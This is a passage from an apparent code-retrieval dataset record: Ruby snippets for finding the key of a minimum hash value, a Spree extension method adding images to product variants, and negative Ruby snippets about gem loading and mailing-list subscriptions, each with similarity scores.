name_hash.each do |n, s|\n if low_value == nil\n low_value = s\n low_key = n\n elsif low_value > s\n low_value = s\n low_key = n\n end\n end\n low_key\nend", "def key_for_min_value(name_hash)\n return nil if name_hash == nil || name_hash == {}\n number_array = name_hash.collect do |name, number|\n number\n end\n number_array.sort!\n name_hash.key(number_array[0])\nend", "def key_for_min_value(name_hash)\n lowestId = nil\n lowestNum = 0\n name_hash.each{ |id, val|\n if lowestNum == 0 \n lowestNum = val\n end\n if val <= lowestNum\n lowestNum = val\n lowestId = id\n end\n }\n return lowestId\nend", "def key_for_min_value(name_hash)\n lowest_v = nil\n lowest_k = nil\n name_hash.each do |name, value|\n if lowest_v == nil\n lowest_v = value\n lowest_k = name\n elsif value < lowest_v\n lowest_v = value\n lowest_k = name\n end\n end\n lowest_k\n end", "def key_for_min_value(name_hash)\n smallest_key = nil\n smallest_value = nil\n name_hash.each do |j, r|\n if smallest_value == nil || r < smallest_value\n smallest_value = r\n smallest_key = j\n end\n end\n smallest_key\nend", "def key_for_min_value(name_hash)\nlowest = 1000000\n low_key = nil\n name_hash.each {|key, value|\n if value < lowest\n lowest = value\n low_key = key\n end\n }\n low_key\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n name_hash.each_key do |key|\n if lowest_key == nil\n lowest_key = key\n elsif name_hash[key] < name_hash[lowest_key]\n lowest_key = key\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n\n if name_hash.empty?\n return nil\n end\n lowest = Float::INFINITY\n name_hash.each_pair do |k, v|\n if v < lowest\n lowest = v\n end\n end\n name_hash.each_pair do |k, v|\n if v == lowest\n return k\n end\n end\nend", "def key_for_min_value(name_hash)\n output = 0\n smallest = nil\n name_hash.map do |key, value|\n if value < output || output == 0\n output = value\n smallest = key\n end\n end\n\n smallest\nend", "def key_for_min_value(my_hash)\n #what is my value?\n lowest_value = 500\n lowest_key = nil\n\n my_hash.collect do |key, value|\n # what is my value?\n if value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\nend", "def key_for_min_value(name_hash)\n lowest_num = 1000000000\n lowest_num_key = \" \"\n if name_hash == {}\n return nil\n else\n name_hash.each do |name, num|\n if num < lowest_num\n lowest_num = num\n lowest_num_key = name\n end\n end\n return lowest_num_key\n end\nend", "def key_for_min_value(name_hash)\n nums = name_hash.collect do |item, num|\n num\n end\n nums.sort!\n nums[0]\n \n min_key = nil\n name_hash.map do |item, num|\n if num == nums[0]\n min_key = item\n end\n end\n min_key\nend", "def key_for_min_value(name_hash)\n vals = name_hash.collect { |key, value| value }\n keys = name_hash.collect { |key, value| key }\n low = vals[0]\n lowkey = keys[0]\n if name_hash.empty?\n nil\n else\n name_hash.collect do |key, value|\n if value < low\n low = value\n lowkey = key\n end\n end\n lowkey\n end\nend", "def key_for_min_value(name_hash)\n value1 = 0\n lowestKey = nil\n name_hash.each do |key, value|\n if(value1 == 0)\n value1 = value\n lowestKey = key\n end\n if(value1 > value)\n value1 = value\n lowestKey = key\n elsif (value1 < value)\n lowestKey = lowestKey\n value1 = value1\n end\n end\n return lowestKey\nend", "def key_for_min_value(hash)\n return nil if hash.empty?\n arr = hash.collect { |k, v| v }.sort\n hash.each { |k, v| return k if v == arr[0] }\nend", "def key_for_min_value(name_hash)\n # saves the smaller value in memo, and takes the first elem of memo at the end (the key)\n smallest = name_hash.inject do|memo, (k, v)|\n memo = v < memo[1] ? [k,v] : memo\n end\n #handle the empty hash case...\n smallest ? smallest[0] : nil\nend", "def key_for_min_value(name_hash)\n key = \"\"\n low_value = nil\n if name_hash.empty? == true\n return nil\n end\n name_hash.each do |name, number|\n if low_value == nil || number < low_value\n low_value = number\n key = name\n end\n end\n key\nend", "def key_for_min_value(name_hash)\n answer = nil\n smallest = nil\n name_hash.each {|key, value|\n if smallest.nil?\n smallest = value\n end\n if value <= smallest\n smallest = value\n answer = key\n end\n }\n answer\nend", "def smallest_key(q, hash)\n\t\ttemp = {}\n\t\tq.each do |v|\n\t\t\ttemp[v] = hash[v]\n\t\tend\n\t\treturn temp.key(temp.each_value.min)\n\tend", "def key_for_min_value(name_hash)\n lowest_value = 0\n lowest_key = \"\"\n if name_hash.empty? == true\n nil\n else\n name_hash.each_with_index do |(key, value), i|\n if i == 0\n lowest_value = value\n lowest_key = key\n elsif value < lowest_value\n lowest_value = value\n lowest_key = key\n end\n end\n lowest_key\n end\nend", "def key_for_min_value(name_hash)\n low=10000000000000000000\n return_key=nil\n name_hash.each do |key, value|\n if value<low\n low=value\n return_key=key\n end\n end\n return_key\nend", "def key_for_min_value(hash)\n if hash.length == 0\n return nil\n else\n smallest = 1000\n printme = \"\"\n hash.each do |thing, number|\n if number < smallest\n smallest = number\n printme = thing\n end\n end\n printme\n end\nend", "def key_for_min_value(name_hash)\n \n lowest_key = nil\n lowest_value = nil\n name_hash.each do |name_key, name_value|\n if lowest_value == nil || name_value < lowest_value\n lowest_value = name_value\n lowest_key = name_key\n end\n end\n lowest_key\n \n end", "def key_for_min_value(name_hash)\n the_key = nil \n the_value = 1/0.0\n # Infinity...can also be expressed as FLOAT::Infinity\n name_hash.each do |id, num|\n if num <= the_value\n the_value = num\n the_key = id\n end\n end\n the_key\nend", "def key_for_min_value(hash)\n array = []\n hash.each {|key,value| \n if array.empty? || value < array[1] \n array[0] = key \n array[1] = value \n end }\n if !array.empty? \n array.first \n else \n nil \n end\nend", "def key_for_min_value(name_hash)\n lowest_key = nil\n lowest_value = Float::INFINITY\n name_hash.each do |k,v|\n if v < lowest_value\n lowest_value = v\n lowest_key = k\n end \nend\nlowest_key\nend", "def key_for_min_value(name_hash)\n return nil if name_hash == {}\n smallest_key = name_hash.first[0]\n smallest_val = name_hash.first[1]\n\n name_hash.each do |pair|\n if pair[1] < smallest_val\n smallest_key = pair[0]\n end\n end\n smallest_key\nend", "def key_for_min_value(name_hash)\n key_of_smallest_value = \"\"\n smallest_value = 99999\n name_hash.each do |key, value|\n if smallest_value > value\n smallest_value = value\n key_of_smallest_value = key\n end\n end\n if name_hash.size == 0\n key_of_smallest_value = nil\n end\n key_of_smallest_value\nend", "def key_for_min_value(name_hash)\n smallest_value = Float::INFINITY\n key_for_smallest_val = nil\n name_hash.each do |key, value|\n if smallest_value > value\n smallest_value = value\n key_for_smallest_val = key\n end \n end \n key_for_smallest_val\nend", "def key_for_min_value(name_hash)\n minKey = nil\n minVal = 2 ** (64 - 2) - 1\n name_hash.each {|key, value|\n if value < minVal\n minVal = value\n minKey = key\n end}\n minKey\nend", "def key_for_min_value(name_hash)\n if name_hash == {}\n return nil\n end\n lowest_number = nil\n name_hash.collect do |name, value|\n if lowest_number == nil\n lowest_number = value\n elsif lowest_number > value\n lowest_number = value\n end\n end\n \n name_hash.each do |name, value|\n if lowest_number == value\n return name\n end\n end\nend", "def key_for_min_value(hash)\n min_value = hash.values.min\n keys = hash.collect do |key, num|\n \tkey if num == min_value\n end\n keys\nend", "def key_for_min_value(name_hash)\n lowest_value = nil\n key_value = nil\n name_hash.collect do |name, number|\n if lowest_value == nil || number < lowest_value\n lowest_value = number\n key_value = name\n end\n end\n key_value\nend", "def key_for_min_value(name_hash)\n smallest_value = 1/0.0\n key_of_smallest_value = nil\n name_hash.each do |key, value|\n if smallest_value > value\n key_of_smallest_value = key\n smallest_value = value\n end\n end\n return key_of_smallest_value\nend" ]
[ "0.8821222", "0.8777674", "0.87769854", "0.8745862", "0.8689437", "0.86553806", "0.865241", "0.86165065", "0.8587693", "0.8572328", "0.85674095", "0.8550907", "0.8529734", "0.8529734", "0.85182345", "0.84936565", "0.8475531", "0.8475531", "0.8466132", "0.8449126", "0.84490585", "0.84359556", "0.84328413", "0.8430745", "0.8428166", "0.84090126", "0.8388222", "0.83684903", "0.83568215", "0.83524764", "0.8345625", "0.8343887", "0.8328773", "0.83284044", "0.83269894", "0.83253354", "0.83201903", "0.83164364", "0.8312503", "0.8312319", "0.8304851", "0.83014053", "0.83008987", "0.82917446", "0.8288315", "0.82870966", "0.8274123", "0.82674986", "0.8267187", "0.82527804", "0.8250538", "0.82443976", "0.82439804", "0.8243696", "0.82416916", "0.8240566", "0.823854", "0.82375354", "0.82283455", "0.82274485", "0.82205135", "0.82190055", "0.82136935", "0.82136935", "0.82102376", "0.82101446", "0.82060164", "0.8200657", "0.81985617", "0.81966525", "0.81958514", "0.81932545", "0.81874573", "0.8186549", "0.8185174", "0.8183619", "0.8183068", "0.8182941", "0.8179895", "0.8173536", "0.81732464", "0.8172825", "0.81721044", "0.8171692", "0.81681263", "0.8165602", "0.81609225", "0.8160289", "0.81587887", "0.815757", "0.8154019", "0.81534094", "0.8152752", "0.81524456", "0.8151455", "0.81511825", "0.8151019", "0.8146792", "0.814368", "0.8142542", "0.81412685" ]
0.0
-1
Please use variant_images/config/routes.rb instead for extension routes. def self.require_gems(config) config.gem "gemnamegoeshere", :version => '1.2.3' end
def activate # admin.tabs.add "Variant Images", "/admin/variant_images", :after => "Layouts", :visibility => [:all] Variant.class_eval do has_many :images, :as => :viewable, :order => :position, :dependent => :destroy end Spree::BaseHelper.class_eval do def product_cart_description(product) truncate(product.description, :length => 90, :omission => "...") end end Admin::VariantsController.class_eval do after_filter :set_image, :only => [:create, :update] private def set_image return unless params[:image] return if params[:image][:attachment].blank? image = Image.create params[:image] if params[:image] object.images << image end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def require_gems; end", "def require!\n super do\n gem @gem_name, @version if @version\n end\n end", "def add_gem_paths; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def gemspec; end", "def pluggable!\n abort \"update rubygems to >= 1.3.1\" unless Gem.respond_to? :find_files\n require_rubygems_version \">= 1.3.1\"\n end", "def gemspec?; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gemfile; end", "def gems; end", "def gems; end", "def gems; end", "def load_minimal_gems\r\n end", "def version_constraint(gem_name); end", "def gemspec_helper; end", "def gemspec_helper; end", "def gemspec_helper; end", "def gemspec_helper; end", "def gemspec_helper; end", "def gemspec_helper; end", "def gem(name, *requirements)\n self.class.gems.activate(name, *requirements)\n end", "def merge_gem(gem_name, version=nil)\n gem_info = {:name=>gem_name}\n if version.is_a?(Hash)\n gem_info.merge!(version)\n else\n gem_info[:version] = version\n end\n @merged_gems << gem_info\n require gem_info[:require] || gem_name\n end", "def gemspecs; end", "def require_gems\n Jekyll::External.require_with_graceful_fail(\n site.gems.select { |plugin| plugin_allowed?(plugin) }\n )\n end", "def load_gem_plugins; end", "def gem(name, version = Gem::Requirement.default)\n @gems ||= {}\n @gems[name] = version\n end", "def gem_version; end", "def gem_version; end", "def gem_version; end", "def gem_version; end", "def gem_version; end", "def gem_version; end", "def do_requires()\n require 'rack'\n require './lib/my_thin.rb'\n require './android_translation_helper.rb'\nend", "def require( gem_name_or_path ) \n \n did_load = ::Development.require( gem_name_or_path )\n\n if did_load.nil?\n did_load = super\n end\n\n if gem_name_or_path == 'bundler'\n ::Development::Require::BundlerSupport.call\n end\n \n return did_load\n \n end", "def install_gem; end", "def add_gems\n gem 'data-confirm-modal', '~> 1.6.2'\n gem 'devise', '~> 4.4.3'\n gem 'devise-bootstrapped', github: 'excid3/devise-bootstrapped', branch: 'bootstrap4'\n gem 'devise_masquerade', '~> 0.6.0'\n gem 'font-awesome-sass', '~> 4.7'\n gem 'gravatar_image_tag', github: 'mdeering/gravatar_image_tag'\n gem 'jquery-rails', '~> 4.3.1'\n gem 'bootstrap', '~> 4.0.0.beta'\n gem 'webpacker', '~> 3.0'\n gem 'foreman', '~> 0.84.0'\n gem_group :development, :test do\n gem 'rspec-rails', '~> 3.6.0'\n gem \"factory_bot_rails\", \"~> 4.10.0\"\n gem 'spring-commands-rspec'\n end\n\n gem_group :test do\n gem 'shoulda-matchers', '~> 3.1'\n end\nend", "def platform_gems\n array = package_config[:gemfile]\n return [] if array.blank?\n path = vendor? ? \"./#{vendor_path}/vendor\" : source_vendor_path\n new_erb.erb_array(array, vendor_path: path)\n end", "def build_gems; end", "def gemfile_lock; end", "def add_gems\n gem 'sorbet-rails', path: '../../../.'\n\n sorbet_version = ENV[\"SORBET_VERSION\"]\n if sorbet_version\n # mostly used to test against a stable version of Sorbet in Travis.\n gem 'sorbet', sorbet_version\n gem 'sorbet-runtime', sorbet_version\n else\n # prefer to test against latest version because sorbet is updated frequently\n gem 'sorbet'\n gem 'sorbet-runtime'\n end\nend", "def require_gem gem, name = nil\n name = gem if name.nil?\n if !BBLib.gem_installed? name\n return false unless Gem.install gem\n end\n require name\n end", "def configured_require_paths; end", "def add_hardcoded_gem(path)\n # make sure gem dir has a gemspec\n gemspec = File.join path, File.basename(path) + '.gemspec'\n return unless File.exists? gemspec\n # make sure gem dir has a lib dir\n libpath = File.join path, 'lib'\n return unless File.exists? libpath\n # all is ok, so add to loadpath\n @paths << libpath\n end", "def gem!(name)\n self.root = Padrino.gem(name, self)\n end", "def build_gem; end", "def add_gemfile\n copy_file 'static/dry/Gemfile.default', \"#{name}/Gemfile\"\n say 'Add Gemfile', :green\n end", "def set_gem_version_and_file line, file, line_num\n if line =~ @gem_name_version\n @tracker.config.add_gem $1, $2, file, line_num\n end\n end", "def try_local(gem_name)\n if ENV['USE_LOCAL_GEMS']\n gem gem_name, path: \"../#{gem_name}\"\n else\n gem gem_name, github: \"omniscrapper/#{gem_name}\"\n end\nend", "def inject_gem(name, version = nil)\n gemfile = facts['app_code'] + '/Gemfile'\n if File.exists?(gemfile)\n return if File.read(gemfile)[/^gem ('|\")#{name}('|\")/]\n File.open(gemfile, \"a\") do |f|\n f.puts ''\n if version\n f.puts \"gem '#{name}', '#{version}' # injected by platform\"\n else\n f.puts \"gem '#{name}' # injected by platform\"\n end\n end\n else\n @injected_gems ||= []\n @injected_gems << [name, version]\n end\n end", "def gem_uri\n @gem_uri ||=\n @rack_context.getInitParameter('gem.path') ||\n @rack_context.getInitParameter('gem.home') ||\n '/WEB-INF/gems'\n end", "def prod_gems\n test_gems\nend", "def opal_gem(gem_name)\n Opal.use_gem(gem_name)\n Opal.paths.uniq!\n # require(gem_name)\n end", "def required_gems\n relative_gem_root = Pathname(gem_root).relative_path_from(Pathname(dir))\n [\n \"gem 'react_on_rails', path: '#{relative_gem_root}'\",\n \"gem 'shakapacker'\"\n ]\n end", "def version_required(gem_def)\n return Gem::Dependency.instance_methods.map(&:to_sym).include?(:requirement) ? gem_def.requirement : gem_def.version_requirements\nend", "def enhance_gemfile\n gem_lines = File.readlines('Gemfile').select{ |line| line =~ /^gem/ }\n @original_gems = gem_lines.reject do |line|\n line =~ /'(#{ SKIP_GEMS.join '|' })'/\n end\n\n template 'Gemfile', force: true\n end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def gemspec=(_arg0); end", "def install_gem(gemname)\n if !Gem::Specification::find_all_by_name(gemname).any?\n gemfile(true) do\n source 'https://rubygems.org'\n gem gemname\n end\n end\n require gemname\nend", "def require_plugin_files; end", "def require_gem(gem)\n dep = fetch(:required_gems)\n dep ||= []\n if gem.respond_to?(:each)\n dep += gem\n else\n dep << gem\n end\n set(:required_gems, dep)\n end", "def gem_signature(gem_full_name); end", "def r(*gems)\n gems.map {|g| require g.to_s}\nend", "def custom_gem(name, options = Hash.new)\n local_path = File.expand_path(\"../../#{name}\", __FILE__)\n if ENV[\"USE_JSUS_CUSTOM_GEMS\"] && File.directory?(local_path)\n gem name, options.merge(:path => local_path).delete_if { |key, _| [:git, :branch].include?(key) }\n else\n gem name, options\n end\nend", "def plugin_gem(name, options = {})\n lib, version = options.values_at(:lib, :version)\n begin\n Kernel.send :gem, name, version\n rescue Gem::LoadError\n dir = File.dirname(caller.first.split(':').first)\n $: << File.expand_path(\"#{dir}/../vendor/gems/#{name}-#{version.gsub(/[^\\d\\.]*/, '')}/lib\")\n end\n require(lib || name)\n end", "def add_spec(gem_spec)\n @gems[gem_spec.full_name] = gem_spec\n end", "def custom_gem(name, options = Hash.new)\n local_path = File.expand_path \"../vendor/#{name}\", __FILE__\n\n if File.exist? local_path\n options = options.merge :path => local_path\n options.delete_if do |key, _|\n [:github, :branch].include? key\n end\n end\n\n gem name, options\nend", "def ensure_gem_versions_defined_in_appraisal_are_used\n gems_defined_in_appraisal = retrieve_gems_from_gemfile(ENV['BUNDLE_GEMFILE'])\n gems_defined_in_gemfile = retrieve_gems_from_gemfile('Gemfile').collect(&:gem_name)\n\n gems_defined_in_appraisal.reject { |l| gems_defined_in_gemfile.include? l.gem_name }.each do |gem|\n add_gem gem.gem_name, gem.attributes.join(',')\n end\n end", "def require_rubygems_version *versions\n spec_extras[:required_rubygems_version] = versions\n end", "def generate_require_paths; end", "def gem_dir # :nodoc:\n super\n end", "def valid_gemspec?; end", "def dev_gems\n\n # Dev mode has to explicitly include every needed gem dependency in the project in order to\n # be properly (i.e. recursively) loaded from source by Bundler\n gem 'task_runner', :path => 'gems/task_runner'\n gem 'tef-worker', :path => 'gems/tef-worker'\n gem 'tef-core', :path => 'gems/tef-core'\n gem 'res_man', git: 'https://github.com/grange-insurance/res_man.git', branch: 'master'\n gem 'tef-manager', :path => 'gems/tef-manager'\n gem 'tef-keeper', :path => 'gems/tef-keeper'\n gem 'tef', :path => '.'\n gem 'tef-development', :path => 'gems/tef-development'\nend", "def needs_ruby_global_append_path?\n Gem::Version.new(@version) < Gem::Version.new(\"2.1.4\")\n end", "def require_paths; end", "def require_paths; end", "def get_path(gemname, version_req)\n return gemname if gemname =~ /\\.gem$/i\n specs = SourceIndex.from_installed_gems.search(gemname, version_req)\n selected = specs.sort_by { |s| s.version }.last\n return nil if selected.nil?\n # We expect to find (basename).gem in the 'cache' directory.\n # Furthermore, the name match must be exact (ignoring case).\n if gemname =~ /^#{selected.name}$/i\n filename = selected.full_name + '.gem'\n return File.join(Gem.dir, 'cache', filename)\n else\n return nil\n end\n end", "def require_bundle_gems\n # NOTE: Dont think ENV['BUNDLE_GEMFILE'] is quite working right. We still need\n # to be in the project directory. Leaving logic in here for when it gets fix.\n if ENV['BUNDLE_GEMFILE'] || File.exist?(\"Gemfile\")\n require \"bundler/setup\"\n Bundler.require(*bundler_groups)\n end\n end", "def gem(name, requirement = nil)\n gems << Gem.new(name, requirement)\n end", "def gem_and_require_rails\n gem_rails\n require_rails\n display_rails_gem_used\n end", "def define_newgem_tasks\n unless self.extra_dev_deps.find { |dep| dep.first == 'newgem' }\n require File.dirname(__FILE__) + '/../newgem'\n self.extra_dev_deps ||= []\n self.extra_dev_deps << ['newgem', \">= #{::Newgem::VERSION}\"] unless name == 'newgem'\n end\n \n return if Rake::Task.tasks.find { |t| t.name == 'gemspec' }\n desc \"Generate a #{name}.gemspec file\"\n task :gemspec do\n File.open(\"#{name}.gemspec\", \"w\") do |file|\n file.puts spec.to_ruby\n end\n end\n \n task :release do\n puts <<-EOS.gsub(/^ /,'')\n Remember to create tag your release; eg for Git:\n git tag REL-#{$hoe.version}\n\n Announce your release on RubyForge News:\n rake post_news\n EOS\n end\n\n task :check_version do\n unless ENV['VERSION']\n puts 'Must pass a VERSION=x.y.z release version'\n exit\n end\n unless ENV['VERSION'] == $hoe.version\n puts \"Please update your lib/#{$hoe.name}.rb to match the release version, currently #{$hoe.version}\"\n exit\n end\n end\n\n desc 'Install the package as a gem, without generating documentation(ri/rdoc)'\n task :install_gem_no_doc => [:clean, :package] do\n sh \"#{'sudo ' unless Hoe::WINDOZE }gem install pkg/*.gem --no-rdoc --no-ri\"\n end\n \n task :ruby_env do\n $ruby_app = if RUBY_PLATFORM =~ /java/\n \"jruby\"\n else\n \"ruby\"\n end\n end\n \n end", "def gem(gem_name, *version_requirements)\n if gem_name =='i18n'\n puts \"skipping loading the i18n gem ...\"\n return\n end\n super(gem_name, *version_requirements)\nend", "def depend(location, type, *args)\n if type == :gemfile\n registry = GemInstaller::Registry.new\n config_builder = registry.config_builder\n path = args.pop\n config_builder.config_file_paths = path\n config = config_builder.build_config\n gems = config.gems\n \n gems.each do |agem|\n # gem() function defined in Capistrano's RemoteDependency class\n options = pluck_accessor_hash(agem, [:platform, :install_options, :check_for_upgrade, :no_autogem, :fix_dependencies])\n depend_without_gemfile(location, :gem, agem.name, agem.version, options)\n end\n else\n depend_without_gemfile(location, type, *args)\n end\n end", "def require_without_bundler(*gems)\n unless defined?(::Bundler)\n gems.each { |g| require g }\n return\n end\n Dir.glob(\"#{Gem.path.first}/gems/*\").map { |gem_path| \n gem_name=File.basename(gem_path).gsub(/-(\\d\\.?)+$/,'')\n if gems.include?(gem_name)\n $LOAD_PATH << \"#{gem_path}/lib\"\n require gem_name\n end\n }\nend", "def gem_path?(file); end", "def restrictive_version_specified_gem?(node); end", "def gem(name, *reqs)\n @dependencies << Gem::Dependency.new(name, reqs)\n end" ]
[ "0.7250635", "0.672408", "0.66811126", "0.6548907", "0.6548907", "0.6548907", "0.6548907", "0.6548907", "0.6548907", "0.6548907", "0.6548907", "0.64470065", "0.64259255", "0.63521814", "0.63521814", "0.63521814", "0.63521814", "0.63521814", "0.63521814", "0.62421435", "0.62421435", "0.62421435", "0.6153778", "0.61487365", "0.6048868", "0.6048868", "0.6048868", "0.6048868", "0.6048868", "0.6048868", "0.60352176", "0.6028312", "0.5990063", "0.5973101", "0.59506464", "0.59505534", "0.5908122", "0.5908122", "0.5908122", "0.5908122", "0.5908122", "0.5908122", "0.5873489", "0.58732796", "0.5855805", "0.5840724", "0.58246255", "0.58166814", "0.57932097", "0.5790278", "0.57864124", "0.57792926", "0.5777049", "0.5759345", "0.5744199", "0.574003", "0.57390046", "0.5711601", "0.57091975", "0.5703681", "0.56766903", "0.56766814", "0.5661724", "0.5637424", "0.56368595", "0.56119776", "0.56119776", "0.56119776", "0.56119776", "0.56119776", "0.56119776", "0.56119776", "0.56104577", "0.5608749", "0.55794615", "0.55560976", "0.55229473", "0.55076706", "0.5503636", "0.5497129", "0.548741", "0.5486113", "0.54817367", "0.547395", "0.5473323", "0.5467085", "0.54619133", "0.5454931", "0.5450502", "0.5450502", "0.54441917", "0.5407998", "0.5405934", "0.5398024", "0.53942776", "0.5391701", "0.5386822", "0.53826207", "0.5378128", "0.5375812", "0.5355907" ]
0.0
-1
Do we have all the information necessary to subscribe to the list?
def wants_to_subscribe? source_is_ffcrm? && has_list? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def subscribed; end", "def suscription_on?\n is_subscribed == true\n end", "def subscribe?\n self.type == :subscribe\n end", "def subscriptions; end", "def subscriptions; end", "def subscriptions; end", "def subscribed?\n self.type == :subscribed\n end", "def IsSubscribed=(arg0)", "def IsSubscribed=(arg0)", "def subscribed?\n status == 1 || status == 2\n end", "def subscribed?(event)\n subscriptions.include?(event)\n end", "def request?\n self.type == :subscribe\n end", "def subscribed # :doc:\n # Override in subclasses\n end", "def subscribed?\n self.subscription == :subscribed\n end", "def subscribe\n self.subscribed = true\n end", "def subscribe_notifications\n @subscribe_notifications ||= true\n end", "def subscribed?(email)\n list.include? email\n end", "def subscribed?\n !ended? && !unsubscribed?\n end", "def can_subscribe?()\n \treturn !(self.phoneNumber.nil?)\n\tend", "def subscribe!\n # TODO: Implement\n end", "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def IsSubscribed()\r\n ret = _getproperty(1610743814, [], [])\r\n @lastargs = WIN32OLE::ARGV\r\n ret\r\n end", "def subscribe\n \nend", "def subscribes\n @subscribes ||= user_data_as_array('subscribe')\n @subscribes\n end", "def subscribed()\n\t\t#add access token to header\n\t\theader = {\"Authorization\": \"Bearer #{@adal_response.access_token}\"}\n\t\t#poll to get available content\n\t\trequest_uri = \"https://manage.office.com/api/v1.0/#{@tenantid}/activity/feed/subscriptions/list\"\n response = Requests.request(\"GET\", request_uri, headers: header)\n @logger.info(\"[#{@content_type}] Subscription list: \\n#{response.json()}}\")\n\n\t\tresponse.json().each do |item|\n\t\t\tif item[\"contentType\"] == @content_type\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\tfalse\n\tend", "def check_subscription\n !subscribed || subscription_present?\n end", "def subscribing?(other_user)\n subscribing.include?(other_user)\n end", "def subscribed?\n [email protected]? && @attributes.include?(:Subscribed)\n end", "def no_subscriptions?\n subscribables.empty? && !toc\n end", "def subscribed?\n managers.map(&:subscribed?).include?(true) ? true : false\n end", "def list_subscribed(&block)\n @driver.list_subscribed(&block)\n end", "def subscribed?(u)\n @clients.has_key?(u.signature)\n end", "def is_subscribable?\n is_partner_subscription? || is_premium_subscription?\n end", "def subscribed?(subscribable, subscription_level = nil)\n subscribed(subscribable, subscription_level) != nil\n end", "def subscribes?(record, **args)\n subscriber(record, **args).present?\n end", "def subscribed?(object)\n subscriptions.include?(remote_object(object))\n rescue RemotePeerMismatch\n false\n end", "def has_subscribed?( publication )\n subscriptions.by_publication(publication).exists?\n end", "def subscribe_to_list(user, list, options={})\n post(\"/#{user}/#{list}/subscribers.json\")\n end", "def do_subscribe\n subscribe_to(@nodename)\n get_subscriptions\n end", "def after_subscribe(subscribed)\n # not required\n end", "def subscribe(email, user_info = {}, email_type = \"html\", update_existing = true, double_opt = false)\n begin\n @api.call(\"listSubscribe\", @api_key, @list_id, email, user_info, email_type, double_opt, update_existing, false)\n rescue\n false\n end\n end", "def reply_to_list?\n true\n end", "def is_subscribed\n if initted?\n @@dll_SteamAPI_ISteamApps_BIsSubscribed.call(@i_apps) % 256 != 0\n else\n nil\n end\n end", "def subscribe(list)\n l = ActsAsIcontact::List.find(list)\n s = ActsAsIcontact::Subscription.new(:contactId => id, :listId => l.id)\n s.save\n end", "def test_subscribe\n jid = '[email protected]'\n @roster.deliver_subscription_request(jid)\n assert_equal([jid], @roster.accepted_subscriptions)\n end", "def subscribed?\n self.friendship_status > 0\n end", "def subscribed?; owners.any? { |peer| peer.subscribed?(self) if peer != Distributed } end", "def subscribed?\n\t\t\t!!@update_timer\n\t\tend", "def is_subscribed_to\n scope[:current_veteran].is_subscribed_to?(object)\n end", "def subscribe_to_list(list_id, email, name)\n begin\n @mc.lists.subscribe(list_id, { email: email}, merge_vars: { FIRSTNAME: name, STATUS: 'Subscribed' })\n flash[:success] = 'To complete the subscription process, please click the link in the email we just sent you.'\n rescue Mailchimp::ListAlreadySubscribedError\n flash[:warning] = \"#{email} is already subscribed to the list\"\n rescue Mailchimp::ListDoesNotExistError\n flash[:error] = \"The list could not be found\"\n rescue Mailchimp::Error => ex\n if ex.message\n flash[:warning] = ex.message\n else\n flash[:warning] = \"An unknown error occurred\"\n end\n end\n end", "def subscribe_to_channel; end", "def subscribe(data)\n # @channels (local tracker)\n # push channel name into subscribe list, if and only if not already in subscribe list\n end", "def testSubscribe1()\n topic = \"_Subscribe1_\"\n conn = Scalaris::PubSub.new()\n\n (0..($_TEST_DATA.length - 1)).each do |i|\n conn.subscribe(@testTime.to_s + topic + i.to_s, $_TEST_DATA[i])\n end\n \n # check if the subscribers were successfully saved:\n (0..($_TEST_DATA.length - 1)).each do |i|\n topic1 = topic + i.to_s\n subscribers = conn.get_subscribers(@testTime.to_s + topic1)\n assert(subscribers.include?($_TEST_DATA[i]),\n \"Subscriber \\\"\" + $_TEST_DATA[i] + \"\\\" does not exist for topic \\\"\" + topic1 + \"\\\"\")\n assert_equal(1, subscribers.length,\n \"Subscribers of topic (\" + topic1 + \") should only be [\" + $_TEST_DATA[i] + \"], but is: \" + subscribers.to_s)\n end\n \n conn.close_connection()\n end", "def gets_alerts_mailer?\n !subscribables.empty?\n end", "def is_any_subscription_active?\n is_subscription_active?\n end", "def subscribed_people(logs)\n people = people_subscribed_to_logged_items logs\n people.select(&:receive_notifications?)\n end", "def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end", "def subscribed_by?(user)\n subscriptions.where(user: user).any?\n end", "def on_subscription_success\n end", "def is_in_list?(email)\n set_api\n begin\n resp = @api.lists(list_id).members(subscriber_hash(email)).retrieve\n return resp.body[\"status\"] == \"subscribed\"\n rescue Gibbon::MailChimpError\n return false\n end\n end", "def subscribed?(user)\n user.subscription.subscribed==true\n end", "def active_subscribed?\n result = false\n if manager?\n result = preminum? ? true : false\n elsif worker? || parentee?\n daycare.managers.each do |item|\n if item.active_subscribed?\n result = true\n end\n end\n else\n result = true\n end\n return result\n #subscriptions.empty? ? false : true\n end", "def subscriptions\n @subscriptions ||= {}\n end", "def subscribed?\n ( @subscription_id.nil? or @watermark.nil? )? false : true\n end", "def subscriber?(dbname = nil)\n subscriptions(dbname).any?\n end", "def client_subscribed?(client)\n cursor = parse \"BEGIN msf.acm_utils.manage_tocs(:publication, :cno, :action, :email, :cur_status, :status_dt, :r_str); end;\"\n cursor.bind_param ':cno', client.to_s\n cursor.bind_param ':email', nil, String, 64\n cursor.bind_param ':action', 'STATUS'\n exec cursor do\n cursor[':cur_status'] == 'subscribed'\n end\n end", "def subscribe(event)\n has_subscriptions.create(subscribed_id: event.id)\n end", "def subscribed?(domain, node, jid)\n jid = JID.new(jid)\n @cluster.query(:sismember, \"pubsub:#{domain}:subscribers_#{node}\", jid.to_s) == 1\n end", "def get_subscribers\n @subscriptions = subscribers(@nodename)\n end", "def subscribers\n @subscribers ||= ActsAsIcontact::Subscription.contacts(:listId => id)\n end", "def subscribe\n debug [self.name, \"incoming\"]\n subscribe_request\n end", "def subscribe_to_lists(list_names, email)\n walk_recipients(list_names, email) do |lr, list_id, contact_id|\n if lr.nil?\n ::Mailjet::Listrecipient.create(list_id: 